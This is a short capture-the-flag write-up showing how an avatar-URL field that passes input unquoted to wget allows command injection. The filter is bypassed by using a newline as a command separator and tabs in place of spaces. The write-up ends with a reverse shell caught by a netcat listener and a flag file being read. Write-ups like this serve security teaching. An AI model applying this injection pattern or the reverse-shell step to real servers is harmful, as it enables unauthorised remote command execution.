This is the short version, for more details see [full writeup](https://github.com/bennofs/docs/blob/master/hackit-2017/web50.md).
When setting the profile picture to an URL, the server first downloads that URL and then links to the fetched image at `/avatars/example.com/profile.png`.
If we set the URL to our own server `mydomain.com/test.png`, we can get the exact request that the server sends to fetch the avatar picture:
GET /test.png HTTP/1.1
User-Agent: Wget/1.15 (linux-gnu)
Look at the user agent: `Wget`. So the server apparently runs `wget mydomain.com/test.png` (or with quotes around the URL, but as we will see later that is not the case).
Testing a few special characters, we find that the following characters are filtered: ``&, $, ;, space, |, ` `` (they are removed from the URL prior to running wget).
We find that the URL is in fact passed to wget unquoted because if we set the avatar URL to `mydomain.com>`, then we don't get any request at all indicating that the shell hit a syntax error (this would not happen if the argument was quoted).
Turns out that `;` is not the only way to separate multiple commands: you can also use a newline. Also, instead of space we can use a tabulator to separate multiple arguments. Try this:
>>> import subprocess
>>> subprocess.call(["bash", "-c", "echo URL\necho\tanothercommand"])
Armed with that knowledge, we can run arbitrary commands on the server using `URL<newline>ourcommand<tab>arg1<tab>arg2`.
Now it is simply a matter of uploading a reverse shell and executing it to retrieve the flag:
$ nc -l -p 8080
rail@4662aa7ff512:/var/www/srv/www$ cat ihsfdhvkeuryhiuverhiuse.php